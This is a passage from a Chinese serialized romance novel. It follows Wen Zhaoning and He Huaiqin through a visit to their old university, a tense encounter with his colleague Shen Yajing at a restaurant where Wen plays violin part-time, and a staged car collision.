他今天穿一身简约的休闲西装,身高腿长、面容俊朗,气质矜贵,将校园里那些青涩的男生对比得黯然失色。 温晚醍的几位室友听说她今天出院回来,早已等在楼下,当她们看到扶着温晚醍下车的贺淮钦时,几个女生的眼睛都亮了,她们相互交换着兴奋又难以置信的眼神。 “我的天,晚媞,这就是你的姐夫啊?”一个短发室友压低了声音,激动地拍了拍温晚醍的胳膊,“难怪那天胡星回来,张口闭口都是晚媞的姐夫好帅,这哪里仅仅是帅,这气质、这气场,都绝了啊!” “是我喜欢的熟男挂!娱乐圈无代餐!快问问咱姐,我可以加入这个家庭吗?” 温晚醍被室友们逗笑:“你们收敛点,快擦擦口水吧,我姐还在这里呢。” “收不住一点,谁让你姐夫长得这么帅的。” “我姐夫确实帅,不瞒你们说,我姐夫当年可是法学院的校草,追他的女生能从这里排到巴黎,最后是我姐,从一杯奶茶开始,锲而不舍追了三年,才把他追到手的!” “三年!你姐也太有毅力了吧?” “看来姐姐真的很爱姐夫啊,我可不行,就我这见一个爱一个的速度,这三年我能爱上百八十个了!” 温晚醍还想说什么,就见贺淮钦提了她的行李箱从车后绕了过来。 “以前的事情,你怎么知道的?”贺淮钦问。 “我姐和我说的啊,你们谈恋爱那会儿,我姐一天能提你名字八百遍,甜得要命。” 贺淮钦转头看向温昭宁,温昭宁只当没感觉到他的视线,扶着温晚醍说:“好了,先不说了,上去休息吧。” -- 温昭宁把温晚醍送上了楼。 她给胡星和另外几个室友都准备了礼物,麻烦她们这几天在生活上多照顾温晚醍。 安顿好妹妹,温昭宁下了楼。 贺淮钦在车里等她,见她上车,忽然松了安全带,朝副驾驶座上的温昭宁倾身过去,直勾勾地盯着她。 “一天能提我名字八百遍?” 温昭宁被他盯得耳热:“你听她夸张。” “那一天提我名字几遍?” “没几遍。” “没几遍是几遍?” “你无不无聊。”温昭宁推了他一把,“快走吧,我饿了。” “想吃什么?” “随便。” “那去隔壁吃食堂?” 贺淮钦说的隔壁,是隔着两条街的江大,她和贺淮钦的母校。 两人毕业后,都没有再回过母校,今天都到大学城了,温昭宁自然也想回去逛逛。 “好。” 贺淮钦的车开到了江大附近,因为外校车辆不能入内,贺淮钦在路边寻了个车位,两人步行走到学校门口。 当年读书时的许多事还历历在目,这一晃却已经六年多了,温昭宁看着学校标志性的大门,内心诸多感慨。 贺淮钦原本走在温昭宁的前面,侧头看到她停在校门口若有所思的样子,也跟着停下来。 “要拍照吗?”他问。 故地重游拍张照留念是不错。 温昭宁点点头:“好啊。” 她以为是贺淮钦给她拍,便走到校门口比起一个剪刀手,可贺淮钦拿出手机却并没有给她拍照,贺淮钦的目光在周围扫了一圈,拦住了一个戴棒球帽的男生。 “同学,打扰一下,可以麻烦你帮我们拍张照吗?” 他一边说一边指了指温昭宁。 温昭宁微怔,原来,贺淮钦要拍的是他们的合照。 “好啊。”那位男生接过了贺淮钦的手机。 贺淮钦走到温昭宁的身边,自然地与她并肩站在一起。 “好了吗,我要拍咯?” 就在那位男生举起手机,即将按下快门的那一刻,贺淮钦原本垂在身侧的手,忽然牵住了温昭宁的手。 “咔嚓!” 快门声清脆地响起。 照片定格。 那位小学弟低头检查拍得好不好,被画面里两张极致的浓颜晃了一下眼,他刚才没注意,这一对真是好标准的男人和好标准的女人,他们往那里一站,连带学校的校门都有了浓浓的故事感。 “好了,你们看看满意不满意?” 那位男生将手机递还给贺淮钦。 贺淮钦扫了一眼,也没说满意或者不满意,只是说:“谢谢,麻烦你了。” “不客气。” 男生走了。 “我看看,好不好看?”温昭宁凑过去,“不好看就删了。” 她还没看到照片,贺淮钦眼明手快,直接将手机锁了屏。 温昭宁:“为什么不给我看?” “拍得不好,删了。”他淡淡的,“你想要,我单独给你拍一张?” “不用了。” -- 温昭宁肚子饿得咕咕直叫,两人先去了食堂。 这会儿还没到饭点,食堂人不多。 他们各打了两荤两素,找到当初最常坐的角落的位置坐下。 落座后,温昭宁习惯性地用筷子将自己餐盘里的部分排骨和部分鸡块夹起来,放到了贺淮钦的餐盘里。 这个动作,熟练得仿佛演练过千百遍。 贺淮钦顿住了。 他低头看着自己盘子里多出来的那几块排骨和鸡块,眼眸中掠过极其复杂的情绪。 时光仿佛在这一刻倒流。 那时读书,贺淮钦经济拮据,每次来食堂吃饭都是打最便宜的素菜,而温昭宁总是打着“我吃不了”、“减肥”这类的借口,把自己餐盘里的肉都分给他。 但如今…… 贺淮钦抬眸看向温昭宁,温昭宁自己也顿住了。 她这是坐到这个位置就条件反射了,下意识地就把肉拨给他了,可现在的贺淮钦,早已身价不菲,山珍海味与他而言不过是寻常,倒是她,不再是当初无忧无虑的富家千金,吃穿用度都再不如当年。 两人对视了一眼。 “为什么把肉给我?”他问。 温昭宁低下头,若无其事地说:“太多了,我吃不了。” “你刚不是喊饿?” “饿了也不能吃这么多,我要减肥。” 贺淮钦勾唇:“温大小姐,时代发展还日新月异呢,你解释的理由怎么一成不变?” “我说的是实话。” 贺淮钦不语,默默夹起一块温昭宁给他的肉,送入口中,慢慢地咀嚼。 吃完饭,两人走出食堂。 午后的阳光慵懒,两人沿着图书馆外的林荫道慢慢走着,谁也没有说话。 周围是三三两两散步或者赶去上课的学生,偶尔有自行车清脆的铃声响过。 他们走到法学院那座爬满常春藤的古老教学楼附近时,迎面走来一位中年男人。 男人戴着眼镜,手里抱着几本书,步履从容。 那是法学院的教授王志东。 贺淮钦先将人认出来:“王教授!” 王志东也注意到了他们,他的目光先在贺淮钦身上停留了片刻,随即眼里流露出惊喜:“贺淮钦?” 贺淮钦上前一步,与王志东王教授握手:“王教授,好久不见!” “真是你啊!”王教授显然很高兴,他拍了拍贺淮钦的肩膀,“你现在可是律政界了不得的大人物了,真给咱们学院争光!” “都是王教授教得好。” “不敢当不敢当。今天怎么有空回学校?” “有点私事路过,顺便回来看看。” 王教授的目光这时才落到了贺淮钦身后的温昭宁身上,他端详了温昭宁几秒,然后恍然大悟般笑道:“哎呀,这不是当年总来我们法学院蹭课的那个……温昭宁同学吗?” “是,是我,王教授好记性。” “我对你自然是印象深刻。”王教授调侃,“当年每次上课点名,名单上明明只有三十三人,可我怎么数都是三十四人,我就想说嘿,我难道数个数还数不明白吗?然后数上三五遍还是三十四人,后来还是班长偷偷告诉我,咱们班有个蹭课大王,那就是你。” 温昭宁不太好意思地笑起来。 “我一开始还寻思呢,你每个礼拜都来蹭课,那一定是我课讲得太生动吸引了你,后来也是班长偷偷告诉我,你蹭课不是主要目的,追人才是主要目的。”王教授看了一眼贺淮钦,“现在看来,功夫不负有心人,这人你是追到了啊!” 温昭宁不知道该怎么回王教授的话,贺淮钦倒是坦然,他点点头,回答得非常具有语言艺术:“早追到了。” 早追到了。 也不算说谎,是早追到了,只是很快又分手了。 “好好好!温昭宁同学美丽又有趣,你小子好福气,事业爱情双丰收。”王教授笑得爽朗。 贺淮钦也跟着笑了笑。 三人边走边聊。 “淮钦啊,我听说你后来毕业,就跟了沈大状,怎么样,我那位沈仲蔺老同学现在还好吗?” 贺淮钦的神色一沉:“沈律前年重病,已经去世了。” “什么?” 王教授震惊:“仲蔺走了?我们怎么一点消息都没有收到?” “沈律是在国外走的,消息没有传回来。” “那他现在葬在哪里?” “骨灰今年刚回国,葬在岭角墓园。” 王教授痛心疾首:“真是天妒英才啊!仲蔺可是我们那一批人里面最拔尖最优秀的,我是万万没想到,他会走得这么早!” 贺淮钦眼底隐隐泛起泪光。 “不过,仲蔺带出你这样优秀的律师,有你接他的班,他在天有灵,一定也会欣慰的。” -- 温昭宁并不知道沈仲蔺是谁,但这个名字显然触发了贺淮钦的悲伤情绪。 返程的路上,他的情绪和气场明显低落。 回到家后,贺淮钦就径直上楼,进了书房,直到晚上才下来。 他下来的时候,温昭宁刚洗完澡,准备看个电影,见他走到吧台那里,温昭宁跟了过去。 “你要喝酒?” “不是,煮杯咖啡。” “我帮你煮吧。” 贺淮钦揉揉眉心,没有拒绝:“谢谢。” 他走到沙发处,坐下了。 温昭宁没有去开咖啡机,而是从柜子里拿出了红茶叶、牛奶和白糖,在小锅里给贺淮钦煮了一杯奶茶。 奶茶煮好后,她装进马克杯里,给贺淮钦端过去。 贺淮钦一闻这甜香的气味,就感觉不对。 “这不是咖啡。” “是奶茶,心情不好,就该喝点甜的。” 这句话,就像是一根羽毛,轻轻拂过贺淮钦心头的阴霾。 贺淮钦喝的人生第一杯奶茶,就是温昭宁送给他的。 那也是他第一次知道,这个世界上还有这么甜腻的东西。 他其实喝不惯奶茶,但还是端起马克杯,浅浅喝了两口。 “怎么样?甜吗?”温昭宁问。 “你自己没尝?” “没有,我就煮了一杯。” “那你也尝尝。” 贺淮钦一把扣住她的腰,将她扯到他的怀里,低头吻住她…… 第一卷 第31章 加深这个吻 唇瓣相触的瞬间,像是点燃了引线,从试探的轻啄骤然演变成炽热的交缠。 温昭宁尝到了贺淮钦唇舌间奶茶的香甜,她扬手勾住贺淮钦的脖子,主动问他:“要做吗?” 这段日子,先是贺淮钦出差,再是温晚醍住院,温昭宁在医院陪床,他们已经好久没有在一起了。 贺淮钦没有回答,直接侧身将温昭宁压在了沙发里,用行动代替了回答。 “等等。”温昭宁将手撑在他的胸膛上,微微推开一点距离,“去房间里。” 贺淮钦点头,一把将温昭宁抱起来,往二楼走。 进到卧室,贺淮钦刚把温昭宁放下,她就吻了上来,红润的唇,生涩地辗转在他的唇上,细细啃咬,像小兔子吃胡萝卜似的。 贺淮钦从刚才就感觉到了,她今天格外主动。 她从前不这样? 为什么? 难道是因为太久没有做,她也想了? 贺淮钦来不及思索,已经被她吻得下腹紧绷。 他托住她的后脑勺,将她紧搂在怀里,加深了这个吻。 卧室里男女喘息声变大,暧昧在蔓延。 两人吻得意乱情迷之时,温昭宁忽然扶着他的精壮的腰,屈膝向下。 贺淮钦意识到她想干什么,整个人犹如被电流击穿,心神摇曳,身体中更深的悸动被唤醒。 这样的事,他为她做过好几次,但她从来没有。 这似乎再一次证实了,她今天有点不对劲。 “你要干什么?”贺淮钦眼眸间情欲翻涌。 温昭宁抬眼看着他,脸红得似要滴血:“你知道我要干什么。” 贺淮钦心一颤栗,有种要疯的感觉。 “为什么?”他的声音一瞬间哑得像被石头磨过。 “谢谢你照顾晚媞。” 这句话,宛如一盆冰水,迎头浇下。 贺淮钦脸上那瞬间的温柔和期待,骤然被冻结,取而代之的,是被冒犯的怒意。 原来如此。 她今晚的所有反常,不是因为情动,不是因为想要他,仅仅只是对他照顾她妹妹这件事情的等价回报。 温昭宁再一次将他们的关系,精准地框定在了“交易与回报”的冰冷逻辑中。 巨大的失望,瞬间吞没了刚才那点可笑的悸动,情欲也紧跟着退潮。 贺淮钦猛地抬手,毫不留情地一把将她拎了起来,再推开。 温昭宁踉跄着后退了两步。 “怎么了?” 她以为这是贺淮钦想要的。 之前他不是说了吗,要教她用嘴做点别的事。 难道是她想岔了? “你不想吗?”温昭宁追问。 “不想。”贺淮钦声音冷得不带一丝不温度。 说完这句话,他拉门出去了。 温昭宁看着他僵硬而决绝的背影,一时摸不着头脑,他刚才明明都起反应了,怎么就不想呢? 男人心,海底针。 -- 那一晚,贺淮钦在客房睡的。 温昭宁早上起来的时候,他已经去律所了,之后连着一周,他都不曾露面。 因为有了先前的经验,温昭宁知道不闻不问反倒会让他生气,所以在贺淮钦没回来的第一晚,温昭宁就给他发了信息,询问他在哪里。 他直接甩了个外省的定位过来,言简意赅地报备:“出差。” 贺淮钦长时间不回来,温昭宁每天晚上都是一个人,她觉得应该把晚上这段时间好好利用起来。 高尔夫私教的收入不错,但想要带着女儿彻底独立,换个地方开始新生活,这点钱远远不够,她需要更多的钱,也需要用忙碌填满那些胡思乱想的夜晚。 于是,温昭宁开始留意晚上的兼职机会。 苏云溪听说她上班不算,还要给自己找兼职,有点心疼她。 “宁宁,你也用不着这样压榨自己吧?” “这才哪儿跟哪儿啊,等兼职落实了,我还想拍点生活vlog,去闯一闯自媒体赛道。” “你太拼了。” “我现在只想多赚点钱,将来给青柠更体面的生活。” 几天后,温昭宁找到了一份在西餐厅拉小提琴的兼职。 当她面试成功,拿到西餐厅的兼职合同时,她才意识到以前那个疯狂想要逃避才艺课的自己有多傻。 母亲说得对,技多不压身。 她小时候牺牲玩乐时间学习的那些才艺,并没有在现实的倾轧下变成无用的装饰,而是在她失去家族光环的今天,以最恰当的方式呈现了它的价值。 所以努力和积累的意义,有时候不在于抵达终点,而是让她成为了一个更有能力抵达终点的人。 温昭宁兼职第一天,就开始拍摄素材,她不止拍自己在餐厅拉小提琴的素材,还拍自己在俱乐部做高尔夫教练的素材,因为不懂剪辑,她给自己买了一些学剪辑的书,每天回家就闷头学习。 贺淮钦不在的日子里,她过得越来越充实。 果然,男人只会影响女人赚钱的速度。 现在她甚至觉得贺淮钦不回来挺好的。 只可惜,一周后贺淮钦就出差回来了,不过,他只是回了沪城,并没有回他们的家,温昭宁是在兼职的西餐厅遇到他的。 那天是周六,餐厅有两位客人点了小提琴演奏,分别是八点和八点五十,温昭宁七点就去餐厅了,她化好妆,换上礼服,然后就一直在等着客人的到来。 七点五十六分,餐厅经理给她弹语音,说客人到了,让她去皓月包厢。 温昭宁拿上自己的小提琴和拍摄设备,去了包厢。 前几天的兼职,温昭宁都是在大厅的公共区域表演,这是她第一次进包厢演奏。 包厢很奢华,大圆桌前围坐着七八个人,有男有女。 温昭宁一眼就看到了坐在主位上的那个男人。 竟然是贺淮钦。 贺淮钦坐在皮质座椅里,西装外套随意地搭在椅背上,白衬衫的领口解开了两颗扣子,整个人透着一股慵懒恣意矜贵气质。 他也一眼看到了温昭宁。 那双深邃的眼眸如同不见底的寒潭,望着她时,只有冰冷的审视和压抑着怒意的平静。 贺淮钦的身边,是沈雅菁。 “诶,这不是陆太太吗?”沈雅菁看着温昭宁,有些惊讶。 贺淮钦瞥了沈雅菁一眼,沈雅菁像是想起什么:“哦,不好意思,我忘了她已经离婚了,现在该叫温小姐了。” 桌上所有人都回过头来看向温昭宁。 温昭宁并不觉得“离过婚”是一个多坏的标签,只是看到贺淮钦和沈雅菁在一起,心里隐隐不舒服。 她朝众人微微颔首一笑,将小提琴架到肩膀上,开始演奏。 今天演奏的曲子是埃尔加的《爱的致意》。 原本桌上的人都在交谈,曲子一响,众人都不约而同地安静下来。 贺淮钦一边把玩着手里的水晶杯,一边看着温昭宁。 她今天穿着一身黑色带抹胸亮片的礼服裙,灯光勾勒着她绝美的侧脸线条和微微起伏的肩线,她整个人沉浸在音乐里,散发着一种宁静、疏离又极具吸引力的美,与平日里在他面前时或紧张、或倔强、或柔顺的模样都不同,她是如此耀眼。 这种美,是独立的,是脱离他掌控的,是散发着自身光芒的。 贺淮钦感觉到一阵来自身体最深处的躁动。 几天没见,温昭宁又开始整花活了。 他捏紧了手里的玻璃杯,满脑子只有一个念头:吻她。 -- 温昭宁拉琴的时候,虽然全情投入,闭着眼睛,但她仍然无比清晰地感觉到那来自主位的沉甸甸的目光,像追踪器,始终牢牢地锁在她的身上。 一曲结束,她的心跳在琴声的掩盖下,失去了平稳的节奏。 “谢谢,请大家慢用。” 温昭宁收起小提琴,再次朝众人微微颔首后,转身退出了包厢。 整个过程,她没有再看贺淮钦一眼。 门关上的刹那,她才敢大口喘气。 包厢里,众人意犹未尽。 “刚才那首曲子,演奏得太美妙了。” “不止曲子美妙,刚才那位演奏小提琴的温小姐,更是美妙。” “是啊,她真是又美又仙,雅菁,她刚离婚吗?我都有点想追她了。” 贺淮钦将杯中的酒一饮而尽,他放下杯子,杯底发出“哒”的一声。 沈雅菁看了贺淮钦一眼,不知是不是错觉,她总觉得贺淮钦和那位温小姐的关系不一般。 “我和她不熟,只见过几面而已。好了,我们先不说她了。”沈雅菁扯开话题,“来,我敬大家一杯,感谢大家今天来看我妈,谢谢大家了。” “说什么谢啊,我们都是沈律的学生,来看望师母那是应该的。” “就是就是!” 大家一起喝了一杯酒,开始聊起当年和恩师沈仲蔺的往事。 贺淮钦忽然起身:“我去一趟洗手间。” -- 温昭宁从包厢出来后,就往员工通道方向走去。 她等一下还有一场演奏,暂时不能下班,她打算先去休息室休息一下。 然而,她还没有走进员工通道,就听到身后传来了沉稳熟悉的脚步声。 温昭宁回头,看到贺淮钦朝自己走过来了。 她还没来得及反应,贺淮钦已经伸手猛地攥住了她的手腕,下一秒,她就被他拉进了楼道里。 贺淮钦力道很大,温昭宁手中的小提琴都差点脱手了。 楼道光线昏暗,只有“安全通道”的指示牌幽幽泛着绿光。 两人面对面站着,视觉受限,其他感官被无限放大,温昭宁闻到贺淮钦身上本身清冽的雪松气息和一股不属于他的甜腻香水味。 这应该是沈雅菁身上的香水味。 温昭宁感觉胃里一阵翻江倒海的难受,当然,不全是因为贺淮钦身上的香水味,更是因为她和他这无法见光的令人作呕的关系。 自从和贺淮钦在一起,她就一直祈祷这一年里千万不要遇到沈雅菁,没想到,三人修罗场这么快就出现了。 “你干什么?”温昭宁赶紧抱住自己的小提琴。 “你干什么?”贺淮钦反问。 “我在兼职。” “白天上班,晚上兼职,你可真是时间管理大师。”贺淮钦说话带刺。 “自然不如你管理得好。”温昭宁不甘示弱。 贺淮钦又上班,又出差,又陪女朋友,还要来睡她,他才是妥妥的时间管理大师。 “这个钱非赚不可?”贺淮钦不喜欢她那么漂亮地站在那些食客的目光里,任他们品头论足,“我记得以前的温大小姐视金钱如粪土。” “那时候我有的是钱,我当然视金钱如粪土了,但现在我落魄了,我发现没有粪土,花都开不了。” “你没有落魄,你有我。” 温昭宁看着贺淮钦,睫毛颤动:“你说什么?” 为什么他的情话可以这么坦然地张口就来,他的心里难道对女朋友没有一丝丝的愧疚之情吗? 贺淮钦喉头滚了一下:“我的意思是,你要钱,我可以给你,无论多少,我都可以给你。” “哦,那你给我一个亿吧。” “好。” 他承诺得认真,把温昭宁吓了一跳,她赶紧摆手:“我开玩笑的,我不要你的钱,我就想自己赚自己花,这样比较踏实。” “我的钱也不是偷来抢来的,怎么就让你不踏实了?” “反正我不要。”她倔强抿着嘴。 贺淮钦扫了一眼她涂着口红的唇瓣,不知那是什么色号,让她的唇显得更饱满和柔软。 “你几点下班?”他问。 “大概九点。” “妆花了,没事吗?” 这个问题有点突兀。 温昭宁抬眸看他:“你什么意思?” 他附身靠近:“我想吻你。” 温昭宁心想,这人真是疯了,女朋友就在几米开外的包厢里,他却跑出来和她调情,也不怕被捉奸吗? 她正要推开贺淮钦,就听到走廊里传来沈雅菁的声音:“淮钦哥?你还在洗手间吗?” 贺淮钦的手机里很快弹出来一条语音。 温昭宁做贼心虚,一把将贺淮钦推开了。 贺淮钦猝不及防,往后退了一步才站定,他掏出手机,面无表情地点开沈雅菁的微信,但没有点开那条语音,直接文字回复:“我在楼下拿点东西,马上来。” 沈雅菁:“好,你快点,大家都在等你呢。” 贺淮钦收起手机,掐了一下温昭宁的腰,说:“九点,我来接你下班。” 第一卷 第32章 接她下班 贺淮钦说完就回包厢里去了。 温昭宁站在楼道里,不知道他到底怎么想的,沈雅菁在这里,他还要接她下班? 难道他就喜欢这样偷偷摸摸的刺激感吗? 温昭宁心不在焉等到八点五十,第二场小提琴演出是在大厅的公共区域,她刚站上台,就看到二楼包厢里,贺淮钦他们一行人散场了。 沈雅菁正和同行的朋友聊天,贺淮钦走在她身边,行至门口时,他绅士地为她拉开了大门。 同行的朋友不知调侃了句什么,沈雅菁捂着唇笑的脸都红了。 初秋的风和街灯的光一同漫进大厅,为贺淮钦和沈雅菁并行的身影镀上一层朦胧的光晕…… “昭宁!”餐厅的经理轻声提醒,“可以开始了!” 温昭宁回神,琴弓划过琴弦,悠扬的曲调在餐厅温暖的空气里缓缓流动。 一首曲子,也就三四分钟,温昭宁演奏结束,就可以下班了。 她回到休息室,把礼服换下,穿上自己的衣服,拎着琴盒离开了餐厅。 贺淮钦说了九点来接她,现在已经九点了,可餐厅外并不见他的车。 温昭宁有点失落,但这情况也在她的预料之中,贺淮钦这会儿,肯定是送沈雅菁去了。 算了。 还是去坐地铁吧。 温昭宁正要转身往地铁口走,就见身旁一辆布加迪降下了车窗。 “温大小姐,不上车去哪?” 温昭宁回头,看到贺淮钦坐在副驾驶座上,支着手肘,看着她。 他又换车了! 温昭宁刚刚出来,只顾找他之前那辆惹眼的庞然大G,没注意到路边停着一辆更惹眼的布加迪。 一辆布加迪约等于十几辆大G,这人出手真是阔绰。 “你又换车了?”温昭宁问。 “是啊,钱多得花不完,给你你又不要。” “……” 倒成她的不是了。 “上车吧。”贺淮钦指了指驾驶座,“你开。” “我开?为什么?” “我喝酒了。” 不止喝酒了,还喝得不少。 今晚大家一直在聊沈仲蔺,贺淮钦想起与恩师的往日种种,心中悲伤难抑,只能借酒消愁。 “这么贵的车,我不敢开。” “这不是温大小姐该说的话。” 六年前,贺淮钦还在骑自行车的时候,温昭宁就已经开上百万的跑车了,她不是没有见过世面的人。 “好冷,快上车。”贺淮钦说完,关上了车窗。 温昭宁犹豫着上了车。 是,她开过豪车没错,可是,她没有开过这么贵的豪车。 最重要的是,今时不同往日,当初她也算豪门大小姐,而现在,她浑身家当凑出来,都不够这辆车的一个漆面,有钱时和没钱时,面对同一事物的心态和底气是不一样的。 “我……还是有点不敢开。”她说。 “那怎么办?要不我给你加加油?” “怎么加油?” 他凑过来,在她唇上落下一个吻:“这样,不够的话,可以再加久一点。” 温昭宁将他推开:“你别这样,我更紧张了。” 贺淮钦轻笑了声:“放心大胆地开,撞了算我的!” “你说的。” “我说的。” “好。” 温昭宁发动了车子,慢慢地将车开到路口,路上车流不算多,一切还算顺利,她正觉得手感似乎上来了,只听“砰”的一声,车子真撞了! 贺淮钦一语成谶。 不过,不是温昭宁撞了别人,是有人追尾了他们的车。 温昭宁着急欲下车查看车子撞成什么样了,但贺淮钦一把按住了她的胳膊。 “外面冷,不用下车了,等交警来处理。”贺淮钦云淡风轻的。 温昭宁没有办法淡定,她还是想下车看看,就在这时,驾驶座的车窗忽然被敲响了。 是追尾他们的车主过来了。 一撞就撞上了千万豪车,估计那车主也吓得够呛。 温昭宁降下车窗,看到对方车主的瞬间,愣住了。 撞上他们的车主竟然是沈雅菁。 沈雅菁一看到温昭宁,脸上的表情很明显地垮了下去。 半个小时前,沈雅菁他们一行人的饭局散场,原本沈雅菁想开车送贺淮钦回去的,可贺淮钦说他还有事,让她先走。 当时沈雅菁心里就犯嘀咕,这大晚上的,贺淮钦又喝了这么多酒,能去处理什么事?她想问,可又知道贺淮钦最烦别人过问他的私事,也就没敢开口。 回去的路上,沈雅菁越想越是生疑,不知怎的,温昭宁优雅拉着小提琴的画面反反复复地从她脑海里冒出来。 她想着,贺淮钦不会是去找温昭宁的吧? 这个念头一闪过,沈雅菁再也没有办法控制自己的理智了,她过了一个红绿灯后,立刻变道,再下一个路口调了头。 可惜,她还是来晚了一步。 当沈雅菁重新赶到餐厅时,贺淮钦那辆车已经发动起步了,她并没有看到温昭宁有没有上车。 沈雅菁知道,贺淮钦新搬了家,那别墅位于市中心,安保很好,一旦他的车开进小区,她就再也无法得知贺淮钦的车上有谁了。 虽然是下策,但沈雅菁还是当机立断地决定,撞上去! “温小姐,你怎么在淮钦哥的车上?”沈雅菁不悦地盯着温昭宁。 温昭宁迅速脸颊红温,心头惴惴不安。 原来,这就是被人“捉奸”的感觉。 “我问你呢,你怎么不说话?” 沈雅菁咄咄逼人,贺淮钦正要开口,就听温昭宁抢先一步回答说:“我是贺律师的代驾!” 贺淮钦的脸迅速冷下去。 上一次是钟点工,这一次是代驾,她反应可真够机敏的,可这么机敏一个人,怎么愣是没看出来,他和沈雅菁不是根本不是她想的那种关系。 “代驾?”沈雅菁有点不太相信,“你刚刚还在餐厅拉小提琴,这会儿又出来代驾,你一天打几份工啊?” “我一天打三份工,拉小提琴和代驾都是兼职,我白天还有一份主业。” “你打这么多工?” “是的,我离婚了,没了陆家,我得自己赚钱养活我和孩子,当然得多打几份工。” 沈雅菁听到温昭宁提到孩子,原本有些冲动的神经渐渐冷静下来。 是啊,眼前这个女人虽然长得漂亮,但她离过婚还有一个孩子,贺淮钦这样优越的条件,怎么可能喜欢一个离过婚有孩子的女人,他总不至于要去给孩子做后爸吧! 或许,真的是她误会了。 “淮钦哥……” “你不是走了吗?”贺淮钦冷眼看着沈雅菁,“怎么你的车会在我后面?” “我……我有东西落在餐厅了,我回来拿。” 贺淮钦没再说话。 沈雅菁立刻道歉:“对不起淮钦哥,我刚才一个走神,不小心就撞到了你的车,你这车应该有保险吧?” “嗯。” “那就好那就好。” 沈雅菁就这么站在贺淮钦的车边,温昭宁不好意思一直坐在车里,她也推门下了车。 贺淮钦似乎心情不佳,他没管她们,坐在副驾驶座里,一动不动。 也是,这么贵的车被撞了,换谁的心情都好不起来。 沈雅菁报了警,等待交警过来处理事故的间隙,她忍不住继续试探温昭宁。 “温小姐,你现在离婚了,一个人带着孩子也挺困难的吧?” “还好,我妈在帮我带。” “不是,我的意思是经济上应该挺困难的吧?”沈雅菁打量温昭宁一眼,相较之前能去高端礼服店消费的样子,如今温昭宁穿的都是最普通的衣服,身上一个logo都见不到,“其实你现在的情况,能找个男人和你一起分担是最好的,刚才我们饭局上有个朋友,对你挺感兴趣的,要不我给你们牵线怎么样?” 温昭宁没想到沈雅菁会来这一招,她正要拒绝,就听副驾驶座上的贺淮钦凛声说:“沈雅菁,你什么时候改行做媒了?” “我就是问一下嘛,孙哥都三十五岁了还单身呢,他好不容易对温小姐有兴趣,那不得帮忙问问啊。”沈雅菁晃一晃温昭宁的胳膊,“温小姐,孙哥挺好的,他也是个律师,虽然没有淮钦哥那么成功,但是他现在有房有车经济自由,如果你能和他在一起的话,就不用这么辛苦了。” “不用了,谢谢,我不喜欢律师。”温昭宁脱口而出。 贺淮钦抬眸,目光凌厉地扫她一眼,那眼神仿佛在说:“律师怎么你了?” “为什么啊?”沈雅菁问。 “因为律师都是能说会道的,万一吵架肯定吵不过,还有,律师精通律法,万一婚姻破裂,离婚时肯定处处要被拿捏。” “那你喜欢什么类型的,你告诉我,我帮你留意留意。” 温昭宁自然听得出沈雅菁的意图,她看了眼贺淮钦:“我喜欢温柔的,体贴的,不要冰山脸,不要强势,长相不用太帅,够看就行,最好是小奶狗。” 温柔体贴小奶狗…… 好好好,和他沾不上半点边。 贺淮钦闻言,冷哼了声,关上了两边车窗。 -- 交警赶来后,很快处理好了这起追尾事故。 两辆车都被拖走去维修了。 陈益赶来接人,沈雅菁很自然地上了贺淮钦的车,温昭宁站在原地没动。 贺淮钦支着车门看着她:“上车。” “不用了,谢谢贺律,我自己打车回去就行了。”温昭宁怕被沈雅菁知道她住在贺淮钦的别墅,赶紧礼貌地拒绝了。 陈益察觉到氛围不对,眼珠在两人之间滴溜直转。 沈雅菁也是一直在留意贺淮钦的反应。 贺淮钦没再强求,直接关了车门让陈益开车。 温昭宁站在原地,看着贺淮钦的车开远,轻舒一口气的同时,心底的某些情绪被慢慢放大。 沈雅菁对她的试探和防备,让她觉得很心虚,虽然被架在这个位置不是她本意,可无论如何,她的身体和她的心都做了对不起沈雅菁的事,她是个罪人。 温昭宁沿着马路走了很久,才打车回家。 回到家,她感觉有种精疲力尽的心累感,她打起精神学了半小时剪辑后,实在撑不住就去洗澡睡觉了。 她以为贺淮钦今天肯定不会回来了,可迷迷糊糊睡到半夜,身侧的床垫还是传来了轻微的下沉感。 贺淮钦回来了,空气里是沐浴露清爽的气息,他应该是在客房洗的澡,所以她没有听到任何动静。 温昭宁微微睁开眼,黑暗中,贺淮钦的一条手臂从她颈下穿过,另一只手臂则环过她的腰,将她整个人严丝合缝地收拢进他的怀抱,他的体温隔着轻薄的真丝睡衣面料透过来,灼着她敏感的脊背。 她的身体有些僵硬:“我不想做。” “那就不做。” 他只是那样安静地抱着她。 温昭宁能感觉到他胸膛里沉稳的心跳,正贴着她蝴蝶骨的位置,一下又一下,震得她头皮发麻。 时间粘稠地流淌着。 就当温昭宁以为他们要以这样的姿势入睡时,贺淮钦忽然开口:“你有没有什么想要问我的?” 温昭宁知道,他说的是沈雅菁的事,可她并不想问。 他们的关系已经够尴尬了,放到明面上去讨论,更尴尬。 “没什么想问的。”她一副不在意的语气。 环在她腰间的手臂,僵了一下。 贺淮钦就知道,她会是这样的态度,她根本不会在意他的任何事,也不会在意他和任何人的关系,她始终清醒地把自己放在“交易者”的位置。 “那你喜欢小奶狗,是真的吗?” “当然是真的,哪个姐姐不喜欢小奶狗。” 温昭宁话落,身后紧紧抱着她的那股力量,骤然松开了。 贺淮钦翻了个身,背对着她。 距离拉开,方才的亲密无间荡然无存。 温昭宁依旧保持着侧躺蜷缩的睡姿,后背上被他体温熨贴过的地方,此刻迅速地冷却下来,被子还在身上,却忽然感觉不到暖意了。 她睁着眼,望着窗帘里透进来的一丝荒凉月光,彻底失去了睡意。 贺淮钦也睡不着。 他们躺在同一张床上,却像是两个被困在各自孤岛上的囚徒,中间隔着难以跨越的深爱。 第二天,温昭宁醒来,贺淮钦已经不在了。 她收拾了一下心情,准备起床,她的手机忽然响了起来。 第一卷 第33章 有喜欢的人 很少有人会这么早给她打电话。 温昭宁看了一眼屏幕,电话是许久没有见面的段姨打来的。 段姨自从上次发生了和青柠一起被软禁的事情后,她就从陆家辞职了,也幸好辞职得够迅速,没有被陆家后续那一堆烂事给殃及。 “喂,段姨。” “宁宁,好久没有给你打电话了,你最近还好吗?” “我挺好的段姨,您呢,您身体还好吗?” “我也很好,告诉你个好消息,允谦调来沪城来了,你中午有空吗?有空的话,我们一起吃个饭。” “有空。” 温昭宁今天的高尔夫球课都在下午,中午吃个饭时间绰绰有余。 “那太好了,中午想吃什么,段姨给你做。” “好久没有吃段姨的豆豉蒸排骨和鲜虾花甲粉丝煲了,我早就想这口了。” “好好好,中午就给你做。” 中午,温昭宁去段姨的住处赴约。 